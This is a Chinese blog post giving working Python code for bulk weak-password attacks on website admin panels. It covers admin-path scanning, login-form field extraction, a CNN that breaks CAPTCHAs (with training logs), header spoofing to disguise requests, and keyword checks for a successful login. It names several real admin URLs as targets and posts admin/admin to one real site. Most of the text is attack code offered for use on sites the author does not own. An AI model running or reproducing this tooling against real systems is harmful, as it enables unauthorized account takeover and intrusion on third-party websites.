批量验证网址管理后台弱口令

答应我不要做舔狗了好吗

概述

在漏洞平台的首页经常可以看到xxx网站弱口令漏洞,xxx企业弱口令漏洞等等,但是如果要手动去测试虽然难度并不大,但是非常麻烦,比如获取管理后台可以通过搜索引擎搜索关键词获取后台地址,也可以采集网址保存到本文后使用御剑批量扫描后台,扫描完成后一个一个的手动测试,包括但不限于万能密码,无验证码爆破,有简单验证码识别爆破,简单社工弱口令等等,知乎上有一篇文章专门讲的就是登陆管理界面的漏洞检测方法web渗透测试之攻破登录页面

本文主要着力于检测弱口令,并不涉及到登陆的逻辑漏洞,比如修改cookie后登陆后台,抓包修改数值逃过检测这种逻辑漏洞不在本文检测范围内。

获取网址后台页面

该函数接受两个参数,网址和后缀,然后访问,验证关键词匹配和状态码判断是否为管理界面。

def scan_admin(urls,manage):
    url = urls + manage
    refer = urls
    try:
        r = requests.get(url=url,headers=headers(refer),timeout=timeout,verify=False)
        if '用户名' in r.content and '密码' in r.content:
            return r.url
    except Exception,e:
        print e

稍微简写一些伪代码,真实情况的话,要需要实例获取相关参数关键词等等。

获取传递参数

使用bs4 和 正则相互提取表单中的user+password,因为不同网站的表单中name都不一样,并且有的网址并没有使用表单,直接两个input。所以这就是批量验证后台弱口令中比较麻烦的一步。

r = requests.get(url).content
bs = bp(r,'html.parser')

for x in bs.find_all('input',type="text"):
    print x['name']
print '---'
for x in bs.find_all('input',type="password"):
    print x['name']

前面文本类型为text的有可能是验证码,用户名,证书,id等等一系列乱七八糟的鬼东西,和面类型为password的就是密码了,但是有些网址的开发者吃了鸡肉会把密码设置成text明文类型。

验证码识别

依赖tesseract,open-cv

需要安装:

pip install opencv-python
pip install matplotlib
pip instal pytesseract

并且需要安装tesseract,下载地址安装完成后需要把安装目录添加到系统环境变量。

通过测试发现识别率比较低,还不如不用…..

网上对破解验证码比较火的都是基于神经网络或者深度学习来训练数据,进行识别,看了半小时教程后开始进行按照人家文章进行实操。

安装TensorFlow,matploitlib,keras,numpy,pillow,captcha,PIL等一系列依赖包,注意TensorFlow的Windows版本不支持python2.7,只要3.5版本以上才可以,但是linux和mac的python2.7有支持TensorFlow。

因为我的显卡是GTX1050TI,cpu是AMD ryzen 5 1400,使用tf的GPU版本相对使用CPU更加快,并没不吃CPU,安装的话,相对来说安装CPU版本更加简单一些,即:

python3 pip install tensorflow

如果要安装gpu版本的话,需要安装一系列的环境:

1. 安装Visual Studio
2. 安装Python3
3. 安装nvidia一系列的玩意儿

查看显卡是否支持链接,然后下载CUDA链接,但是下载的版本很重要,目前NVIDIA更新到10.0版本,但是tf1.12版本需要的是cuda9.0加cudnn7.0版本,在这里下载9.0版本,切记版本号,我之前下错版本折腾死了,安装的时候,不要点击精简,选择自定义,安装的时候取消安装微软的vs,然后点击安装,安装完成后下载cudnn,下载地址链接,这里需要注册账号,比较简单的,下载完后解压缩,有三个文件,把这三个文件复制到

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0

下面,然后把下面的添加到环境变量

C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\bin
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\libnvvp
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.0\lib\x64

然后下载安装Visual Studio 2017,这个一定要安装啊,我就是不想安装这个结果一直提示ImportError: DLL load failed: 找不到指定的模块。

最后安装tf即可

python3 pip install tensorflow-gpu

测试了使用cpu和gpu,发现确实使用gpu速度更快,不吃cpu,但是消耗内存稍微多一点,如果使用cpu的话,cpu使用量太大了…

训练模型,这里使用的是keras训练cnn卷积神经网络模型(网上偷来的),使用captcha生成随机的验证码,采用监督学习调整。

import keras
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten
from keras.layers import Conv2D, MaxPooling2D
from keras import backend as K

num_classes = 36
batch_size = 128
epochs = 20

# 输入图片尺寸
img_rows, img_cols = 12, 22

if K.image_data_format() == 'channels_first':
    input_shape = (1, img_rows, img_cols)
else:
    input_shape = (img_rows, img_cols, 1)

import os
os.chdir(r'./train_pictures')
import string
CHRS = string.ascii_lowercase + string.digits
from PIL import Image
import numpy as np
import glob

X, Y = [], [] 

for f in glob.glob('*.png')[:]:
    image = Image.open(f)
    im = image.point(lambda i: i != 43, mode='1')

    y_min, y_max = 0, 22
    split_lines = [5,17,29,41,53]
    ims = [im.crop([u, y_min, v, y_max]) for u, v in zip(split_lines[:-1], split_lines[1:])]

    name = f.split('.')[0]
    for i, im in enumerate(ims):
        t = 1.0 * np.array(im)
        t = t.reshape(*input_shape)
        X.append(t)  # 验证码像素列表

        s = name[i]
        Y.append(CHRS.index(s))  # 验证码字符

X = np.stack(X)
Y = np.stack(Y)

Y = keras.utils.to_categorical(Y, num_classes)

split_point = 3000
x_train, y_train, x_test, y_test = X[:split_point], Y[:split_point], X[split_point:], Y[split_point:]

model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3),
                 activation='relu',
                 input_shape=input_shape))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(num_classes, activation='softmax'))

model.compile(loss=keras.losses.categorical_crossentropy,
              optimizer=keras.optimizers.Adadelta(),
              metrics=['accuracy'])

model.fit(x_train, y_train,
          batch_size=batch_size,
          epochs=epochs,
          verbose=1,
          validation_data=(x_test, y_test))
score = model.evaluate(x_test, y_test, verbose=0)

训练模型完成后,即可载入使用,并且可以使用pyinstaller打包后集成在一起判断

验证中

Using TensorFlow backend.
Train on 3000 samples, validate on 2064 samples
Epoch 1/20
2018-11-28 20:27:41.347095: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2
2018-11-28 20:27:41.892084: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1432] Found device 0 with properties:
name: GeForce GTX 1050 Ti major: 6 minor: 1 memoryClockRate(GHz): 1.4805
pciBusID: 0000:09:00.0
totalMemory: 4.00GiB freeMemory: 3.29GiB
2018-11-28 20:27:41.892226: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1511] Adding visible gpu devices: 0
2018-11-28 20:27:42.882369: I tensorflow/core/common_runtime/gpu/gpu_device.cc:982] Device interconnect StreamExecutor with strength 1 edge matrix:
2018-11-28 20:27:42.882487: I tensorflow/core/common_runtime/gpu/gpu_device.cc:988]      0
2018-11-28 20:27:42.882896: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1001] 0:   N
2018-11-28 20:27:42.883070: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1115] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 3008 MB memory) -> physical GPU (device: 0, name: GeForce GTX 1050 Ti, pci bus id: 0000:09:00.0, compute capability: 6.1)
3000/3000 [==============================] - 4s 1ms/step - loss: 3.3068 - acc: 0.1147 - val_loss: 3.0635 - val_acc: 0.1507
Epoch 2/20
3000/3000 [==============================] - 0s 88us/step - loss: 2.1420 - acc: 0.3897 - val_loss: 1.6187 - val_acc: 0.6071
Epoch 3/20
3000/3000 [==============================] - 0s 89us/step - loss: 1.1130 - acc: 0.6567 - val_loss: 0.7399 - val_acc: 0.7141
Epoch 4/20
3000/3000 [==============================] - 0s 88us/step - loss: 0.6399 - acc: 0.7957 - val_loss: 0.4795 - val_acc: 0.8251
Epoch 5/20
3000/3000 [==============================] - 0s 86us/step - loss: 0.4253 - acc: 0.8623 - val_loss: 0.2568 - val_acc: 0.9370
Epoch 6/20
3000/3000 [==============================] - 0s 87us/step - loss: 0.2848 - acc: 0.9120 - val_loss: 0.2120 - val_acc: 0.9462
Epoch 7/20
3000/3000 [==============================] - 0s 87us/step - loss: 0.2261 - acc: 0.9303 - val_loss: 0.1272 - val_acc: 0.9700
Epoch 8/20
3000/3000 [==============================] - 0s 87us/step - loss: 0.1632 - acc: 0.9533 - val_loss: 0.1042 - val_acc: 0.9675
Epoch 9/20
3000/3000 [==============================] - 0s 86us/step - loss: 0.1475 - acc: 0.9593 - val_loss: 0.1141 - val_acc: 0.9627
Epoch 10/20
3000/3000 [==============================] - 0s 86us/step - loss: 0.1271 - acc: 0.9660 - val_loss: 0.0638 - val_acc: 0.9811
Epoch 11/20
3000/3000 [==============================] - 0s 86us/step - loss: 0.1252 - acc: 0.9653 - val_loss: 0.0849 - val_acc: 0.9753
Epoch 12/20
3000/3000 [==============================] - 0s 86us/step - loss: 0.1098 - acc: 0.9703 - val_loss: 0.0644 - val_acc: 0.9801
Epoch 13/20
3000/3000 [==============================] - 0s 85us/step - loss: 0.0911 - acc: 0.9783 - val_loss: 0.0634 - val_acc: 0.9801
Epoch 14/20
3000/3000 [==============================] - 0s 89us/step - loss: 0.0932 - acc: 0.9753 - val_loss: 0.0643 - val_acc: 0.9801
Epoch 15/20
3000/3000 [==============================] - 0s 87us/step - loss: 0.0702 - acc: 0.9793 - val_loss: 0.0835 - val_acc: 0.9612
Epoch 16/20
3000/3000 [==============================] - 0s 87us/step - loss: 0.0764 - acc: 0.9813 - val_loss: 0.0682 - val_acc: 0.9821
Epoch 17/20
3000/3000 [==============================] - 0s 85us/step - loss: 0.0683 - acc: 0.9817 - val_loss: 0.0526 - val_acc: 0.9869
Epoch 18/20
3000/3000 [==============================] - 0s 87us/step - loss: 0.0631 - acc: 0.9813 - val_loss: 0.0615 - val_acc: 0.9806
Epoch 19/20
3000/3000 [==============================] - 0s 87us/step - loss: 0.0554 - acc: 0.9843 - val_loss: 0.0504 - val_acc: 0.9879
Epoch 20/20
3000/3000 [==============================] - 0s 86us/step - loss: 0.0521 - acc: 0.9857 - val_loss: 0.0484 - val_acc: 0.9884
Test loss: 0.04842133599725126
Test accuracy: 0.9883720930232558

随后会在目录下生成训练好的模型,使用如下代码启用该模型并且测试验证码,在当前目录train_pictures有20张验证码图片

# coding:utf-8
model_file_path = 'ok.h5'
import os

os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'

import keras
from keras import backend as K

from PIL import Image
import numpy as np


img_rows, img_cols = 12, 22

if K.image_data_format() == 'channels_first':
    input_shape = (1, img_rows, img_cols)
else:
    input_shape = (img_rows, img_cols, 1)

import string

CHRS = string.ascii_lowercase + string.digits

model = keras.models.load_model(model_file_path)

def login():
    veri_code = predict_image(handle_split_image(get_image()))
    return veri_code

def get_image():
    image = Image.open('0net.png')
    return image


def handle_split_image(image):
    im = image.point(lambda i: i != 43, mode='1')
    # im = im.convert('L') # .filter(ImageFilter.MedianFilter())    ## 放大后滤波再二值
    # im = im.point(lambda i: i > 25, mode='1')
    y_min, y_max = 0, 22  # im.height - 1 # 26
    split_lines = [5, 17, 29, 41, 53]
    ims = [im.crop([u, y_min, v, y_max]) for u, v in zip(split_lines[:-1], split_lines[1:])]
    # w = w.crop(w.getbbox()) # 切掉白边 # 暂不需要
    return ims


def predict_image(images):
    Y = []
    for i in range(4):
        im = images[i]
        # test_input = np.concatenate(np.array(im))
        test_input = np.array(im)
        test_input = test_input.reshape(1, *input_shape)
        y_probs = model.predict(test_input)
        y = CHRS[y_probs[0].argmax(-1)]
        Y.append(y)
        # plt.subplot(1,4,i+1)
        # plt.imshow(im, interpolation='none')
        # plt.title("Predicted {}".format(y))
    return ''.join(Y)
    # plt.show()


print(login())

获取对象

# coding:utf-8
import requests
import re
from bs4 import BeautifulSoup as bp
#url = 'http://admin.xhmwxy.com/index.php/login'
#url = 'http://admin.51smart.com/login.php'
#url = 'http://zulg.zju.edu.cn/admin.php?c=Index&a=login'
#url = 'http://w.cxzg.com/admin.php/Index/login.html'
#url = 'http://schooladmin.wephp.com/auth/'
#url = 'http://focus-login.focus.cn/login?ru=http://admin.focus.cn'
##url = 'http://admin.zunxiangvpn.com/index.php'
url = 'http://admin.feieyun.com/login.php'
#url = 'http://www.kjxc.cc/'
r = requests.get(url).content
print(r)
bs = bp(r,'html.parser')
#print(bs)
print(len(bs.find_all('input',type="text")))
print(bs.title.text)
# for x in bs.find_all('input',type="text"):
#     print(x['name'])
#
# print ('---')
#
for x in bs.find_all('input',type="password"):
    print(x['name'])

def get_user_password_name(content):
    try:
        users = ''
        bs = bp(content, 'html.parser')
        username = bs.find_all('input',type="text")

        if len(username) == 1:
            users = username[0]['name']


        if not users:
            for n in username:
                if 'user' in n['name'].lower():
                    users = n['name']
                    break
                if 'name' in n['name'].lower():
                    users = n['name']
                    break
                if 'account' in n['name'].lower():
                    users = n['name']
                    break


        password = bs.find_all('input',type="password")

        if len(password) == 1:
            try:
                passs = password[0]['name']
            except:
                passs = 'password'
        else:
            passs = 'password'
        return users,passs
    except Exception as e:
        print(e)

#print(get_user_password_name(r))

通过内容判断结果

# -*- coding:utf-8 -*-
import requests

def login_success_check(content):
    if '您的请求带有不合法参数' in content:
        return False
    if '已被网站管理员设置为拦截' in content:
        return False
    if '当前访问疑似' in content:
        return False
    if '登陆成功' in content:
        return '登陆成功'
    if '退出登陆' in content:
        return '退出登陆'
    if '账号管理' in content:
        return '账号管理'
    if '账号列表' in content:
        return '账号列表'
    if '用户管理' in content:
        return '用户管理'
    # if '个人资料' in content:
    #     return '个人资料'
    # if '欢迎您' in content:
    #     return '欢迎您'
    if '修改密码' in content:
        return '修改密码'
    if '退出系统' in content:
        return '退出系统'
    if '上次登陆时间' in content:
        return '上次登陆时间'
    if '上次登陆IP' in content:
        return '上次登陆IP'
    if '安全设置' in content:
        return '安全设置'
    if '账号绑定' in content:
        return '账号绑定'
    if '退出账号' in content:
        return '退出账号'
    if '文章管理' in content:
        return '文章管理'
    if '消息中心' in content:
        return '消息中心'
    if '管理员设置' in content:
        return '管理员设置'

    if '用户中心' in content:
        return '用户中心'
    if '注销' in content:
        return '注销'
    if '会员列表' in content:
        return '会员列表'
    if '订单列表' in content:
        return '订单列表'
    if '<frame frameborder="0" id="frame_navigation"' in content:
        return '<frame frameborder="0" id="frame_navigation"'
    if 'Router Configuration' in content:
        return 'Router Configuration'


import random
def headers(refer):
    REFERERS = [
        "https://www.baidu.com",
        "http://www.baidu.com",
        "https://www.google.com.hk",
        "http://www.so.com",
        "http://www.sogou.com",
        "http://www.soso.com",
        "http://www.bing.com",
    ]

    headerss = [
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
        "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
        "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
        "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
        "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
    if refer:
        pass
    else:
        refer = random.choice(REFERERS)
    headers = {
        'User-Agent': random.choice(headerss),
        'Accept': 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Cache-Control': 'max-age=0',
        'referer': refer,
        'Accept-Charset': 'GBK,utf-8;q=0.7,*;q=0.3',
    }
    return headers

data = {'NetsysName':'admin',
        'NetsysPass':'admin'}
url = 'http://www.yebaihegongsi.com/admin/Default.asp'
r = requests.post(url=url, data=data ,headers=headers(url),timeout=5)

encoding = requests.utils.get_encodings_from_content(r.text)[0]
res = r.content.decode(encoding, 'replace')
print(res)
print(login_success_check(res))
#print(res.content.decode())

发送数据

这里需要注意的是,请求头中的referer最好是该网址,然后通过上一步获取参数生成字典,将用户名密码载入,发送数据。

判断结果

同样可以依据状态码,返回的内容是否和请求网页一致,关键词校验等等都可以判断。

配置文件

需要自己准备的配置如下:

1. 一份src网址名单文本
2. 一份优质的后台字典
3. 一份优质的弱口令账号与密码文本

开启后,按照提示逐个把不同的文本导入即可

生成结果

为了不浪费时间和效率,所有检查出是后台网址的,以及异常的,成功的,一些提示都会在当前目录生成相对应的文件

result.txt:存在弱口令的网址+弱口令
log.txt:一些异常日志和检测日志
url_manage.txt:网址的后台管理界面
坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%